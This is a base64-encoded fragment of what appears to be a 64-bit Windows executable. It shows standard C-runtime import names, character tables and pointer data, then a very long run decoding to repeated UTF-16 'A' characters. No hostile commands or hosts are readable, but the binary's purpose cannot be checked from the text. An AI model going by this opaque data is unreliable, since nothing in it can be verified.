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f39/f3/ciAGAAQAAAMjtAYABAAAAyO0BgAEAAADI7QGAAQAAAMjtAYABAAAAyO0BgAEAAADI7QGAAQAAAMjtAYABAAAALgAAAC4AAAD+/////////wAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBA